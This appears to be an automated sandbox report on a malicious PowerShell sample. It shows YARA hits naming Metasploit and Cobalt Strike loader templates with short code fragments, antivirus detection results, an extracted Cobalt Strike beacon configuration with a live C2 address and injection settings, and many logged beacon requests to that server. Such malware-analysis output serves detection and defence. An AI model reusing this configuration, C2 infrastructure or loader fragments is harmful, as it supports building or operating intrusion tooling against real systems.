amsi64_6296.amsi.csv	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth (Nextron Systems)	0xf2:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x624:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x6f8:$s5: = [System.Convert]::FromBase64String( 0x374:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x56c:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
amsi64_6296.amsi.csv	CobaltStrike_Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13	Cobalt Strike\'s resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13	gssincla@google.com	0x419:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x4d6:$imm: InMemoryModule 0x4fb:$mdt: MyDelegateType 0x44b:$rd: New-Object System.Reflection.AssemblyName('ReflectedDelegate') 0x6e6:$data: [Byte[]]$var_code = [System.Convert]::FromBase64String( 0x460cc:$64bitSpecific: [IntPtr]::size -eq 8 0x38d:$mandatory: Mandatory = $True
amsi32_6452.amsi.csv	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth (Nextron Systems)	0x84d2:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x8a04:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x8ad8:$s5: = [System.Convert]::FromBase64String( 0x8754:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x894c:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 245f38b4b8a25754bf6e630f8e2acf59.ps1

Avira: detected

Multi AV Scanner detection for submitted file

Source: 245f38b4b8a25754bf6e630f8e2acf59.ps1

ReversingLabs: Detection: 64%

Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTP"], "Port": 80, "SleepTime": 93780, "MaxGetSize": 2099252, "Jitter": 35, "C2Server": "88.216.210.27,/design/query/9X5M3SOE0F", "HttpPostUri": "/run/redirect/QD77MO6RQ", "Malleable_C2_Instructions": ["Remove 910 bytes from the end", "Remove 1182 bytes from the beginning", "NetBIOS decode 'A'", "XOR mask w/ random key"], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\DevicePairingWizard.exe", "Spawnto_x64": "%windir%\\sysnative\\DevicePairingWizard.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 206546002, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 14911, "ProcInject_PrependAppend_x86": ["kA8fgAAAAABmDx+EAAAAAAAPH4QAAAAAAGYPH0QAAA8fAA==", "Dx9EAABQWJBmkA8fRAAAZpBmDx+EAAAAAAAPHwBmDx+EAAAAAAAPH0QAAGYPH4QAAAAAAA8fhAAAAAAADx+EAAAAAAAPH4AAAAAADx9AAA8fQAAPH0AA"], "ProcInject_PrependAppend_x64": ["Zg8fhAAAAAAAUFgPH0AADx+EAAAAAABQWGYPH0QAAGYPH4QAAAAAAGYPH4QAAAAAAJA=", "Dx+AAAAAAJAPHwBmDx9EAAAPH0QAAA8fhAAAAAAADx9AAA8fQACQDx+EAAAAAAAPH0AAZpBmkA8fgAAAAABmkFBYZpCQ"], "ProcInject_Execute": ["ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "True", "HostHeader": ""}

Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000003.363667402.000000000733C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb=` source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ?\C:\Windows\dll\mscorlib.pdb=` source: powershell.exe, 00000002.00000002.601091963.0000000007300000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb_ source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb@*'\ source: powershell.exe, 00000002.00000003.363728358.0000000007284000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 88.216.210.27

Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=jqx2K9VvFmwEW9kqt3qYS3TQ9UDj6zZxGePf5iGA7yytmwFbnDfwPHamC_EyUZZEZsVzJo2AqxVN1XF2mABacChyus7kEWOVBLYqc9L76U0asHBwvgraXszUiM6m3DABSir1oMYCHnA8VlLfg0Cy8B0i9y1cvA39TrQHB8N-d5K7mG6GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Kp-W_HFc9rugaDn9E0l4nNDjFZdH2NamvdA_MYWzD_sJqOGMOAQQ69KV6yaWYnaTwvaT8SmzS8Lp5pGhPDO6p4xBWhlAIoNCoIXKpHbICZq-g5CnGjk6iWjnaBkC79DW7hkVd2Ix_qeYZbIIJ3NSJ7kRF_r4j-0q6ofn0GdNl0Ufq45RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=MBzzTWvfkwq661xMCcodLcpgcCZdW7MXp1NagJ8wakoTK4Q9Iod1WsgWjpeM4RMi2HX2QDMwLnPzZfQQJrDfFpbCP6haoebzugavFWxLbCukAPUWALpfOHJkDagYbLVn9JpwxniymxaC5te5PfA3lqOSckviDIib8ASCYX3O8vQFKOvgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=rc0QbvYOcCknOr9vlBv-DlexkwXAilA0OoK5owLhiWmO-mcev1aWeVXHbbQRMPABRaQVY67hzVButBczu2E8NQsT3IvHcAXQJ9dMNvGajwg50RY1nWu8G--17ouFvVZEaUuT5eVjeDUfNzSaoCHUtT5DkWh_3Wu4bdVhQuAfEdeY-QjDUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=91902KycFJ99qNvZzomauA0j97OaGDSCYBDdFVhz7d_UaAOo5cTyzw9VCQJLopS3HzZx1fRzqeY0JnOF4fNYg1GBuD2d4mFmfUUogKsI675jQ3KDx_nYrbUnij3fLzLyM9n3U7_xHINFpVAs-rOwA2TR9d4lTw8ON0cF9LqNdWHCa2x1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=TclGyxYKJozHPunKdB-oq7e1xaAgjgaR2obvBuLl38xu_jG7X1LA3LXDOxHxNKakpaBDxk7lm_WOsEGWW2VqkOsXii4ndFN1x9MakxGe2a3Z1UCQfW_qvg-xuC5luQDhiU_FQAVnLpD_M2I_QCWCEN5Hx82f2T0djdE35wAbR3J4_V5mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Jjk-bn36XimszpFvH-_QDtxFvQVLfn40sXaXo4kVp2kFDkkeNKK4ed4zQ7SaxN4BzlA7YyUV41DlQDkzMJUSNYDn8otMhCvQrCNiNnpuoQiyJTg1Fp-SG2RBwIsOSXhE4r-95W6XVjWUwxqaK9X6tbW3v2j0KUW45iFPQmvrP9cTDSbDUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Bupe1F0pPpOMHfHVPzywtPyW3b9rrR6OkaX3GanGx9Ml3SmkFHHYw_7gIw66F7677oNb2QXGg-rFk1mJEEZyj6A0kjFsV0tqjPACjFq9wbKS9liPNkzyoUSSoDEumhj-wmzdX05ENo-0EHogCwaaD5Vk39LU-iUCxvIv-Es4X20z3kZ5User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=LSrJu3bpqfyn3Wa6FPwn29dWStBAbYnhumVgdoIGULwOHb7LP7FPrNUgtGGR1ynUxUPMti4GFIXuU87mO4bl4Iv0BV5Hl9wFpzCV43F9Vt25Ns_gHYxlzm9SN14FWo-R6axKMGWEoeCf0O1PIMYNYL6kSL3_OrJt7TK4l2D4yAIYHtEWUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=tVdgOO6UAH8_oM85jIGOWE8r41PYECBiIhjJ9Rp7-T-WYBdIp8zmL01dHeIJqoBXXT5lNbZ7vQZ2Lmdlo_tMYxOJrN3f6nWGP008YOkA_14hS2ZjhfHMTfcvnt2dJyYScdHjs_35CGMHrUTMuLuk4ybZ4T5nRxvudU8RFPiFYYGAY3iVUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Py8NvWTsbfq12KK8Bvnj3cVTjtZSaE3nqGCkcJADlLocGHrNLbSLqsclcGeD0u3S10YIsDwD0IP8VgrgKYMh5pnxwVhVkhgDtTVR5WN4kturMwvmD4mhyH1X81gXX0uX-6mONneBZeaN1SlJMsPJZqyhjLvtP3Zr_zd8kXL9DAQKGxUQUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=NubnFm0lh1G8EUgXDzAJdsyaZH1boadMoalO25nKfhEV0ZBmJH1hAc7smsyKGwd53o_iGzXKOij1n-BLIErLTZA4K_NcW_KovPy7TmqxeHCi-uFNBkBLY3SeGfMelqE88mBknX5Ij02EHMPiOwojzaVoZhDk9pzA9v6WOns05q8D0v-7User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=m9AX5MATd6MRJ7jlogb5hGGslI_2l1e-DJ--KTT8juO452CUiUuR82Paaj4nLfeLc7kS6Zj8ytpYqRC5jXw7vz0O2wHxbQJaEcpLvMeHiIIPzBG_q3a7kdmo6QGzoFHOX1aUb9N-f78pKjMQljzTPwheluJJwGwyW8hmyNYCFl2u5A9JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=2cBAvYIDIPpTN--84Bau3SO8w9a0hwDnTo_pcHbs2br69zfNy1vGqiHKPWdlPaDSMalFsNrsnYMauUfgz2xs5n8ejFizfVUDU9oc5YWX39tN3Ebm6WbsyJu4vljxsAaXHUbDNpFuKOZrOmRJ1CyEZkpOwbsL0DtrGdgxkZQSQQTs9FgQUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=BcPh814AgbSPNE7yPBUPk_-_YphohKGpkoxIPqrvePQm9JaDF1hn5P3JnCm5PgGc7ark_gbvPM3GuuauE2_NqKMdLRZvfvRNj9m9q1mUfpWR3-eoNWVNhke7HxYts6fZwUVieE1tiai3OcUHCC8lKJZNYPXX05olxduQ30gR4Eow9_leUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vvfCi-U0osw0AG2KhyEs60SLQeDTsILRKbhrRhHbW4ydwLX7rGxEnEb9v1ECCiLkVp7Hhr3bH7V9jsXWqFvu0BgpDm7UStc1NO2e0-KgXe0q68TQjlFu_vyPPG6Wh4ShenFBAPZZqtAMDeZ_sxsGUC15Q41s57ldfu-zp_MlwzKLw9omUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=47dWvbh0NvppQPm82mG43RnL1daO8BbndPj_cEybz7rAgCHN8SzQqhu9K2dfSrbSC95TsOCbi4MgzlHg9Rt65kVpmliJCkMDaa0K5b_gydt3q1Dm0xH6yKHPqFjLxxCXJzHVNqsZPuZRTXJJ7luSZnA517sxpy1rI68nka5lVwTWg04QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=6XvE-LK4pL9jjGv50K0qmBMHR5OEPISifjRtNUZXXf_KTLOI--BC7xFxuSJVhiSXARLB9epXGcYqAsOl_9foo0-lCB2DxtFGY2GYoLUsW559Z8Kj2d1ojasDOh3BC4LSLf1Hc6HVrKNbgeAM5JcAI3r1Rf47a78uKWO11KSpxUHcT9xVUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=JKmrX39qyxiuXgReHX9FP97VKDRJ7usFs-YCkouFMlgHntwvNjItSNyj1oWYVEswzMCuUieFdmHn0KwCMgWHBIJ3Z7pOFL7hrrP3B3j-NDmwta0EFA8HKmbRVboM2e114C8o1GwHwwSWU4-rKUVvhLcnKln2udCJ5LHac2l7quYRnbPyUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=4kWdULmG_RdosjJR25NzMBg5HjuPAt0KdQo0nU1pBFfBcuog8N4bRxpP4IpeuH0_CiyYXeFpQG4hPJoN9OmxC0SbUbWI-IjuaF_BCL4SAjZ2WZsL0uMxJaA9Y7XKNdt6JsMe26rr9QtQv7mk76lZi3HLHFYwVeaGIl3sfK-XnOnXcYX9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Hfr7wEY5m4eXDVTBJCwVoOeGeKtwvbuairVSDbLWYsc-zYywD2F91-XwhhqhBxuv9ZP-zR7WJv7eg_ydC1bXm7skNyV3R-5-l-CnmEGtZKaJ5v2bLVxXtV-CBSU1ir3q2Xx4S1VUk5uvAN80EBY_G450esbP6oAW3eKK7FAo-nkozuNtUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=VvAckQ0zfNbcB7OQbyby8ayMn_o7t1zLwb-1XPnchZZ1x2vhRGuahq76YUvqDfz-vpkZnFXcwa-ViRvMQFwwyvAu0HQ8TQkv3OpAyQqng_fC7BrKZlaw5BSI4nR-gFq7knafGh5edMrkCjhlWxzYSsV-nZeE4GdHluhtvRsiHShjxAQ8User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=4cXtY7oGjSRrMkJi2BMDAxu5bgiMgq05dopErk7pdGTC8poT815rdBnPkLldOA0MCazobuLpMF0ivOo-92nBOEcbIYaLePjda9-xO72ScgV12es40WNBFqO9E4bJtatJJUNu6KlrhThTP8mX7CkpuHJLbGUz1Za1Id2cT6wX7NrU8fXOUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=QiN5KBngGW_I1NYpe_WXSLhf-kMvZDly1WzQ5e0P4C9hFA5YULj_P7opBPL-3plHqkp8JUEPpBaBWn51VI9Vc-T9tc0onmyWyDklcB505k7WP39zcoXVXQBbh81qUz8ChqX6owqNEXPw2V3cT8-989Gt-C6QMwL-gjsIBA_xeJF3F2GFUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=K-QNLHAnbWuhE6ItEjLjTNGYjkdGo012vKuk4YTIlCsI03pcOX-LO9PucPaXGe1Dw40IISjI0BLonQpxPUghd406wclBWRiSof5RdHezkkq_-At3G0KhWWmc88kDlEsG72KOp2NKZXeZHinYJgjJ97hqjCr59Hb66_x8AGY2DJUe0BWBUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=oY0nAfpOR0YreogAmFvJYVvxpGrMymdbNsKOzA6hvgaCulBxsxahFlmHWtsdcMduSeQiDKKh-j9i9CBctyELWgdT6-TLMDK_K5d7Wf3auGc1kSFakSuLdOP12eSJ_WErZQukiukjT1oTdwP1rGHj2jIDpgdznVzXYZVWLexfJriUuT-sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=_VuDt6aY4_B3rCy2xI1t1wcnANyQHMPtahQqelJ3GrDebPTH78AFoAVR_m1BpmPYFTKGuv53Xok-IoTq6_ev7FuFT1KX5pYJd0Hf76EMHNFpR4Xszf0vwr8jfVLVK8WdOd0APLX16-xPoadD8LdHbG7VArEvS_hhPUPym7CJgg7Ib5saUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=B1M8ilyQXM2NpJOLPoXS6v0vv-FqFHzQkByVR6h_pY0kZEv6Fci6nf9ZQVC7rtzl7zo5hwR_4bTEKjvXEf8Q0aGN8G9t7ik0jUlg0lsEo-yTTzrRN_WQ_0Urwm8vI3qgw9W_AU_9VNG1qRh-Cr_4UZTdvYzVQ0dcx0tNpkqBPTMyZyQnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=5kNigb2AAsZstM2A35WM4Rw_4eqLBCLbcQzLTElv-4bFdBXx9Njklh5JH1tavoLuDipnjOVvv78lOmXc8O9O2kCdrmSM_nc_bFk-2boU_edyX2Ta1uXO9KQ7nGTOMySrIsXhCq7tCtpUuUZ166-mWnXN44c0UxlXJlsTrauRYzjTd3osUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=wbK8ippx3M1LRROL-GRS6jvOP-Gs9fzQVv0VR26eJY3ihcv60yk6nTm4wVB9T1zlKdu5h8KeYbQCy7vX1x6Q0WdscG-rD6k0S6jg0p3lI-xVrrrR8RQQ_4PKQm_pwvqgBTQ_AYkc1NFzSJh-zF54UVI8PYwTosdcAarNpoxgvTP0hqQnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
